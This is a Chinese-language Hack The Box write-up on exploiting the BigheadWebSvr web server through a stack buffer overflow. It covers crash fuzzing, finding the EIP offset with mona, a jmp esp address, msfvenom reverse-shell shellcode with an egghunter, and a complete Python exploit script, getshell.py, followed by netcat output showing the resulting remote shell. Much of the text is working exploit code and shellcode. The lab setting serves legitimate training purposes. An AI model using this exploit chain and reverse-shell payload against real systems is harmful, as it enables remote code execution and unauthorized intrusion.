Hack-The-Box[BigheadWebSvr逆向-part-1]

  • 本文专门记录hack the box — bighead机器的BigheadWebSvr逆向部分,故前面的部分省略,part1 主要使用的工具是immunity debugger和mona插件,下一篇part2主要使用IDA来分析程序。

step1

把zip压缩文件从github上下载下来之后,john跑hash出来密码,然后解压出来,运行。

  • 运行BigheadWebSvr.exe出现找不到libmingwex-0.dll,直接网上google搜索下载libmingwex-0.dll即可。。。

使用下面命令找出程序是开放在8008端口上的

1
2
C:\Users\Administrator>netstat -ano
TCP 0.0.0.0:8008 0.0.0.0:0 LISTENING 23076

使用immunity debugger打开BigheadWebSvr.exe,然后点击运行,然后使用burp抓包,然后想办法构造poc使程序崩溃,如下图,EIP寄存器已被AAAAAAAA所填满:

1
curl --head http://172.20.10.7:8008/$(python -c 'print(("A"*100))')

尝试发送一个更大的请求,服务器没有崩溃,有一个小问题,因为被限制在一个特定的大小,没有足够的空间来存储shellcode,这就是为什么需要使用egghunting。有很多关于win32 egghenting的很棒的教程,所以说明一个概念什么是egghunting,以防不清楚。当没有足够的堆栈空间来保存shellcode时,发送一个非常小的字符串,称为egghunter,而不是发送和执行shellcode。当egghunter被执行时,它会在整个内存中搜索一个egg。当它碰到egg时,它会执行它后面的代码(shellcode)。egg是一个4字节的字符串,例如luci,该egg被翻倍并添加到shellcode之前,如下所示:luciluci + shellcode。在skape的论文安全搜索进程虚拟地址空间中对此做了很好的解释。也有很多实用教程只是搜索win32 egghunting。

现在回到易受攻击的服务器,首先需要知道的是偏移量。使用mona插件, 插件文档使用说明

  • 设置mona日志输出路径
1
!mona config -set workingfolder D:\1.pentesttool\mona-master\logs\%p

为了找到偏移量需要创建一个识别模板,创建100个字符的识别模板,这和使用metasploit的pattern_create.rb创建识别模板的方法是一样的

1
!mona pc 100

会在之前设置的:

D:\1.pentesttool\mona-master\logs\BigheadWebSvr

目录输出一个pattern.txt文件,复制里面的ASCII值:

1
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

然后发送下面请求:

1
curl --head http://172.20.10.7:8008/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

这个EIP被ACC54AAC覆盖了,mona findmsp 会找出偏移量,但由于某些原因它无法找到它,所以手动找它。颠倒ACC54AAC,因为它是小端序,所以颠倒过来后是AC4AC5AC。定位它,然后使用python的函数len()找到AC4AC5AC之前的字符串长度:

1
2
>>> len("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3")
72

偏移量是72, 现在来确认下. 发送72个A然后8个B:

1
curl --head http://172.20.10.7:8008/$(python -c 'print(("A"*72)+("B"*8))')

成功的使用B覆盖了EIP

很好,现在控制了EIP,现在需要找到一个真正的地址来覆盖EIP。由于egghunter将位于堆栈上,需要找到一个jmp esp指令,使它成为egghunter的jmp并执行它。为了做到这一点,使用mona插件。

1
!mona jmp -r ESP

它将在D:\1.pentesttool\mona-master\logs\BigheadWebSvr中创建另一个名为jmp.txt的文件。需要确保选择的地址能在目标机器上工作,因此使用了来自服务器本身的dll bHeadSvr.dll中的一个地址。选择第一个:

1
2
0x625012f0 : jmp esp |  {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\Administrator\Desktop\hack the box°Ð»úÉø͸\doing\machine\BigHead\BHWS_Backup\BHWS_Backup\bHeadSvr.dll)
0x625012fd : jmp esp | {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\Administrator\Desktop\hack the box°Ð»úÉø͸\doing\machine\BigHead\BHWS_Backup\BHWS_Backup\bHeadSvr.dll)

现在发送一个请求测试它,72个A和f0125062, 即625012f0的倒转:

1
curl --head http://172.20.10.7:8008/$(python -c 'print(("A"*72)+("f0125062"))')

运行的很正常。需要知道的最后一件事是如何发送shellcode。发送了一个POST请求,看看服务器如何处理它,只是一堆A:

然后搜索内存:

现在可以看到整个请求被打印在内存中,利用这个信息来写利用程序exploit

step2

首先import socket, binary和re模块

1
2
3
import socket
import binascii
import re

然后开始定义变量,需要变量来保存host、port、egg、shellcode和egghunter。先生成shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(root💀kali)-[~/hackthebox/machine/bighead]
└─# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=1337 -b '\x00' -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1712 bytes
buf = b""
buf += b"\xda\xc6\xbf\xb6\xed\x8f\x35\xd9\x74\x24\xf4\x5a\x29"
buf += b"\xc9\xb1\x52\x83\xc2\x04\x31\x7a\x13\x03\xcc\xfe\x6d"
buf += b"\xc0\xcc\xe9\xf0\x2b\x2c\xea\x94\xa2\xc9\xdb\x94\xd1"
buf += b"\x9a\x4c\x25\x91\xce\x60\xce\xf7\xfa\xf3\xa2\xdf\x0d"
buf += b"\xb3\x09\x06\x20\x44\x21\x7a\x23\xc6\x38\xaf\x83\xf7"
buf += b"\xf2\xa2\xc2\x30\xee\x4f\x96\xe9\x64\xfd\x06\x9d\x31"
buf += b"\x3e\xad\xed\xd4\x46\x52\xa5\xd7\x67\xc5\xbd\x81\xa7"
buf += b"\xe4\x12\xba\xe1\xfe\x77\x87\xb8\x75\x43\x73\x3b\x5f"
buf += b"\x9d\x7c\x90\x9e\x11\x8f\xe8\xe7\x96\x70\x9f\x11\xe5"
buf += b"\x0d\x98\xe6\x97\xc9\x2d\xfc\x30\x99\x96\xd8\xc1\x4e"
buf += b"\x40\xab\xce\x3b\x06\xf3\xd2\xba\xcb\x88\xef\x37\xea"
buf += b"\x5e\x66\x03\xc9\x7a\x22\xd7\x70\xdb\x8e\xb6\x8d\x3b"
buf += b"\x71\x66\x28\x30\x9c\x73\x41\x1b\xc9\xb0\x68\xa3\x09"
buf += b"\xdf\xfb\xd0\x3b\x40\x50\x7e\x70\x09\x7e\x79\x77\x20"
buf += b"\xc6\x15\x86\xcb\x37\x3c\x4d\x9f\x67\x56\x64\xa0\xe3"
buf += b"\xa6\x89\x75\xa3\xf6\x25\x26\x04\xa6\x85\x96\xec\xac"
buf += b"\x09\xc8\x0d\xcf\xc3\x61\xa7\x2a\x84\x87\x32\x3a\x56"
buf += b"\xf0\x40\x42\x53\x39\xcc\xa4\x31\x29\x98\x7f\xae\xd0"
buf += b"\x81\x0b\x4f\x1c\x1c\x76\x4f\x96\x93\x87\x1e\x5f\xd9"
buf += b"\x9b\xf7\xaf\x94\xc1\x5e\xaf\x02\x6d\x3c\x22\xc9\x6d"
buf += b"\x4b\x5f\x46\x3a\x1c\x91\x9f\xae\xb0\x88\x09\xcc\x48"
buf += b"\x4c\x71\x54\x97\xad\x7c\x55\x5a\x89\x5a\x45\xa2\x12"
buf += b"\xe7\x31\x7a\x45\xb1\xef\x3c\x3f\x73\x59\x97\xec\xdd"
buf += b"\x0d\x6e\xdf\xdd\x4b\x6f\x0a\xa8\xb3\xde\xe3\xed\xcc"
buf += b"\xef\x63\xfa\xb5\x0d\x14\x05\x6c\x96\x24\x4c\x2c\xbf"
buf += b"\xac\x09\xa5\xfd\xb0\xa9\x10\xc1\xcc\x29\x90\xba\x2a"
buf += b"\x31\xd1\xbf\x77\xf5\x0a\xb2\xe8\x90\x2c\x61\x08\xb1"

-b ‘\x00’ 代表坏字符。\x00 是一个空字节总是一个坏字符,因为它充当一个字符串结束符并终止执行,所以不需要在shellcode中使用它。把这个添加到漏洞中并删除所有的”\x”,因为从binascii中使用hexlify和unhexlify函数。这是shellcode,现在需要egghunter。使用这个工具来生成egghunter:

1
2
3
4
5
┌──(root💀kali)-[~/hackthebox/machine/bighead]
└─# python EggHunter.py luci
[+] Egg Hunter shellcode with egg of 'luci'..
Final Opcode : 6681caff0f42526a0258cd2e3c055a74efb86963756c8bfaaf75eaaf75e7ffe7
Final Shellcode : '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x69\x63\x75\x6c\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7'

但如果想改变egg,应该生成一个新的,看这工具是如何做的:

1
FinalOpcode = "6681caff0f42526a0258cd2e3c055a74efb8" +M+ OpCode +W+ "8bfaaf75eaaf75e7ffe7"

可以很容易地将其添加到exploi本身中。

1
2
3
host = '10.10.10.112'
port = 80
egg = 'luci'

host用于机器的ip, port用于端口,egg用于保存egg的值。之后是由msfvenom生成的buf变量(这是shellcode,你应该用自己的ip和监听端口生成一个新的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
buf =  b""
buf += b"dac6bfb6ed8f35d97424f45a29"
buf += b"c9b15283c204317a1303ccfe6d"
buf += b"c0cce9f02b2cea94a2c9db94d1"
buf += b"9a4c2591ce60cef7faf3a2df0d"
buf += b"b309062044217a23c638af83f7"
buf += b"f2a2c230ee4f96e964fd069d31"
buf += b"3eadedd44652a5d767c5bd81a7"
buf += b"e412bae1fe7787b87543733b5f"
buf += b"9d7c909e118fe8e796709f11e5"
buf += b"0d98e697c92dfc309996d8c14e"
buf += b"40abce3b06f3d2bacb88ef37ea"
buf += b"5e6603c97a22d770db8eb68d3b"
buf += b"716628309c73411bc9b068a309"
buf += b"dffbd03b40507e70097e797720"
buf += b"c61586cb373c4d9f675664a0e3"
buf += b"a68975a3f6252604a68596ecac"
buf += b"09c80dcfc361a72a8487323a56"
buf += b"f040425339cca43129987faed0"
buf += b"810b4f1c1c764f9693871e5fd9"
buf += b"9bf7af94c15eaf026d3c22c96d"
buf += b"4b5f463a1c919faeb08809cc48"
buf += b"4c715497ad7c555a895a45a212"
buf += b"e7317a45b1ef3c3f735997ecdd"
buf += b"0d6edfdd4b6f0aa8b3dee3edcc"
buf += b"ef63fab50d14056c96244c2cbf"
buf += b"ac09a5fdb0a910c1cc2990ba2a"
buf += b"31d1bf77f50ab2e8902c6108b1"

创建一个变量来保存最终的shellcode(egg*2 + shellcode)和另一个变量为egghunter:

1
2
shellcode = (egg * 2) + binascii.unhexlify(buf)
egghunter = "6681caff0f42526a0258cd2e3c055a74efb8" + binascii.hexlify(egg) + "8bfaaf75eaaf75e7ffe7"
  • 注意: 有一个名为N的变量,稍后会讲到,它与漏洞本身没有关系。
    现在需要创建两个函数。第一种是通过POST请求发送shellcode,另一种是利用漏洞发送egghunter。

从定义函数开始:

1
def send_shellcode(N,host,port,egg,shellcode):

然后,打开一个TCP流套接字到服务器和端口,将它保存在一个名为s的变量中:

1
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)

最后要做的是用shellcode发送POST请求:

1
2
3
4
5
6
s.send("POST / HTTP/1.1\r\n")
s.send("Host: dev.bighead.htb\r\n")
s.send("Content-Length: %s\r\n"%len(shellcode))
s.send("\r\n")
s.send(shellcode+"\r\n")
s.send("\r\n")

然后关闭流: s.close()

将它添加到一个for循环中,以发送16次shellcode。这样做是因为想把shellcode放在不同的地方,这样egghunter就可以很容易地找到它。还在函数的开头添加了一个打印语句:

1
print "\033[32m [*] Sending Shellcode"

\033[32m 是颜色,对攻击并不重要。并且在关闭流之前添加了一个print语句:

1
print '\033[34m' + '[' + str(N) + '] ' + re.sub(r"\s"," ",s.recv(12))

re.sub(r”\s”,” “,s.recv(12))将使用re(正则表达式操作)来打印服务器响应的第一行的前12个字符(“HTTP/1.1” + “ “ + 状态码(3个字符) = 12)。

send_shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def send_shellcode(N,host,port,egg,shellcode):
print "\033[32m [*] Sending Shellcode"
for i in range(0,16):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)
s.connect((host,port))
s.send("POST / HTTP/1.1\r\n")
s.send("Host: dev.bighead.htb\r\n")
s.send("Content-Length: %s\r\n"%len(shellcode))
s.send("\r\n")
s.send(shellcode+"\r\n")
s.send("\r\n")
print '\033[34m' + '[' + str(N) + '] ' + re.sub(r"\s"," ",s.recv(12))
s.close()
N += 1
print "\033[32m [*] Done"

这是send_shellcode,写send_egghhunter。首先定义函数:

  • def send_egghunter(host,port,egghunter):

然后,打开一个TCP流套接字到host和port,并将它保存在一个名为s的变量中:

1
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)

然后将连接并发送HEAD请求:

1
2
3
4
5
s.connect((host,port))
s.settimeout(None)
s.send("HEAD /" + ("A"*72) + "f0125062" + egghunter + " HTTP/1.1\r\n")
s.send("Host: dev.bighead.htb\r\n")
s.send("\r\n")

设置了settimeout(None),因为服务器需要很多时间来响应这个请求(因为将改变代码流,所以服务器不会回应),不希望流在egghunter成功执行之前被关闭。

  • s.send(“HEAD /“ + (“A”*72) + “f0125062” + egghunter + “ HTTP/1.1\r\n”)

这一行发送72个A然后f0125062(jmp esp(新EIP))然后egghunter。

  • send_egghunter:
1
2
3
4
5
6
7
8
9
10
11
def send_egghunter(host,port,egghunter):
print "\033[32m [*] Sending EggHunter"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)
s.connect((host,port))
s.settimeout(None)
s.send("HEAD /" + ("A"*72) + "f0125062" + egghunter + " HTTP/1.1\r\n")
s.send("Host: dev.bighead.htb\r\n")
s.send("\r\n")
print '\033[34m' + re.sub(r"\s"," ",s.recv(12))
s.close()
print "\033[32m [*] Done"

漏洞利用脚本已经准备好了,现在只需要调用以下函数:

1
2
send_shellcode(N,host,port,egg,shellcode)
send_egghunter(host,port,egghunter)

最终exploit脚本:

  • getshell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/python
import socket
import binascii
import re

host = '10.10.10.112'
port = 80
egg = 'luci'

N = 0

buf = b""
buf += b"dac6bfb6ed8f35d97424f45a29"
buf += b"c9b15283c204317a1303ccfe6d"
buf += b"c0cce9f02b2cea94a2c9db94d1"
buf += b"9a4c2591ce60cef7faf3a2df0d"
buf += b"b309062044217a23c638af83f7"
buf += b"f2a2c230ee4f96e964fd069d31"
buf += b"3eadedd44652a5d767c5bd81a7"
buf += b"e412bae1fe7787b87543733b5f"
buf += b"9d7c909e118fe8e796709f11e5"
buf += b"0d98e697c92dfc309996d8c14e"
buf += b"40abce3b06f3d2bacb88ef37ea"
buf += b"5e6603c97a22d770db8eb68d3b"
buf += b"716628309c73411bc9b068a309"
buf += b"dffbd03b40507e70097e797720"
buf += b"c61586cb373c4d9f675664a0e3"
buf += b"a68975a3f6252604a68596ecac"
buf += b"09c80dcfc361a72a8487323a56"
buf += b"f040425339cca43129987faed0"
buf += b"810b4f1c1c764f9693871e5fd9"
buf += b"9bf7af94c15eaf026d3c22c96d"
buf += b"4b5f463a1c919faeb08809cc48"
buf += b"4c715497ad7c555a895a45a212"
buf += b"e7317a45b1ef3c3f735997ecdd"
buf += b"0d6edfdd4b6f0aa8b3dee3edcc"
buf += b"ef63fab50d14056c96244c2cbf"
buf += b"ac09a5fdb0a910c1cc2990ba2a"
buf += b"31d1bf77f50ab2e8902c6108b1"

shellcode = (egg * 2) + binascii.unhexlify(buf)
egghunter = "6681caff0f42526a0258cd2e3c055a74efb8" + binascii.hexlify(egg) + "8bfaaf75eaaf75e7ffe7"

def send_shellcode(N,host,port,egg,shellcode):
print "\033[32m [*] Sending Shellcode"
for i in range(0,16):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)
s.connect((host,port))
s.send("POST / HTTP/1.1\r\n")
s.send("Host: dev.bighead.htb\r\n")
s.send("Content-Length: %s\r\n"%len(shellcode))
s.send("\r\n")
s.send(shellcode+"\r\n")
s.send("\r\n")
print '\033[34m' + '[' + str(N) + '] ' + re.sub(r"\s"," ",s.recv(12))
s.close()
N += 1
print "\033[32m [*] Done"

def send_egghunter(host,port,egghunter):
print "\033[32m [*] Sending EggHunter"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)
s.connect((host,port))
s.settimeout(None)
s.send("HEAD /" + ("A"*72) + "f0125062" + egghunter + " HTTP/1.1\r\n")
s.send("Host: dev.bighead.htb\r\n")
s.send("\r\n")
print '\033[34m' + re.sub(r"\s"," ",s.recv(12))
s.close()
print "\033[32m [*] Done"

send_shellcode(N,host,port,egg,shellcode)
send_egghunter(host,port,egghunter)

现在运行脚本看效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root💀kali)-[~/hackthebox/machine/bighead]
└─# python getshell.py
[*] Sending Shellcode
[0] HTTP/1.1 200
[1] HTTP/1.1 200
[2] HTTP/1.1 200
[3] HTTP/1.1 200
[4] HTTP/1.1 200
[5] HTTP/1.1 200
[6] HTTP/1.1 200
[7] HTTP/1.1 200
[8] HTTP/1.1 200
[9] HTTP/1.1 200
[10] HTTP/1.1 200
[11] HTTP/1.1 200
[12] HTTP/1.1 200
[13] HTTP/1.1 200
[14] HTTP/1.1 200
[15] HTTP/1.1 200
[*] Done
[*] Sending EggHunter

过一会儿,拿到一个reverse shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
┌──(root💀kali)-[~]
└─# nc -lvp 1337
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.112.
Ncat: Connection from 10.10.10.112:49220.
Microsoft Windows [Version 6.0.6002]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.

C:\nginx>whoami
whoami
piedpiper\nelson

C:\nginx>cd ..
cd ..

C:\>type users\nelson\desktop\user.txt
type users\nelson\desktop\user.txt

.-''-. .-------. .---. .-./`) _______ .---. .---.
.'_ _ \ | _ _ \ | ,_| \ .-.') / __ \ | | |_ _|
/ ( ` ) '| ( ' ) | ,-./ ) / `-' \ | ,_/ \__) | | ( ' )
. (_ o _) ||(_ o _) / \ '_ '`) `-'`"`,-./ ) | '-(_{;}_)
| (_,_)___|| (_,_).' __ > (_) ) .---. \ '_ '`) | (_,_)
' \ .---.| |\ \ | |( . .-' | | > (_) ) __ | _ _--. |
\ `-' /| | \ `' / `-'`-'|___ | | ( . .-'_/ )|( ' ) | |
\ / | | \ / | \| | `-'`-' / (_{;}_)| |
`'-..-' ''-' `'-' `--------`'---' `._____.' '(_,_) '---'
.---. ,-----. ,---. ,---. .-''-. .-'''-.
| ,_| .' .-, '. | / | | .'_ _ \ / _ \
,-./ ) / ,-.| \ _ \ | | | .'/ ( ` ) ' (`' )/`--'
\ '_ '`) ; \ '_ / | :| | _ | |. (_ o _) |(_ o _).
> (_) ) | _`,/ \ _/ || _( )_ || (_,_)___| (_,_). '.
( . .-' : ( '\_/ \ ;\ (_ o._) /' \ .---..---. \ :
`-'`-'|___\ `"/ \ ) / \ (_,_) / \ `-' /\ `-' |
| \'. \_/``".' \ / \ / \ /
`--------` '-----' `---` `'-..-' `-...-'
,---------. .---. .---. .-''-.
\ \| | |_ _| .'_ _ \
`--. ,---'| | ( ' ) / ( ` ) '
| \ | '-(_{;}_). (_ o _) |
:_ _: | (_,_) | (_,_)___|
(_I_) | _ _--. | ' \ .---.
(_(=)_) |( ' ) | | \ `-' /
(_I_) (_{;}_)| | \ /
'---' '(_,_) '---' `'-..-'
.---. .---. ____ .-'''-. .---. .---.
.-, | | |_ _| .' __ `. / _ \| | |_ _|
,-.| \ _ | | ( ' ) / ' \ \ (`' )/`--'| | ( ' )
\ '_ / | | '-(_{;}_)|___| / |(_ o _). | '-(_{;}_)
_`,/ \ _/ | (_,_) _.-` | (_,_). '. | (_,_)
( '\_/ \ | _ _--. | .' _ |.---. \ :| _ _--. |
`"/ \ ) |( ' ) | | | _( )_ |\ `-' ||( ' ) | |
\_/``" (_{;}_)| | \ (_ o _) / \ / (_{;}_)| |
'(_,_) '---' '.(_,_).' `-...-' '(_,_) '---'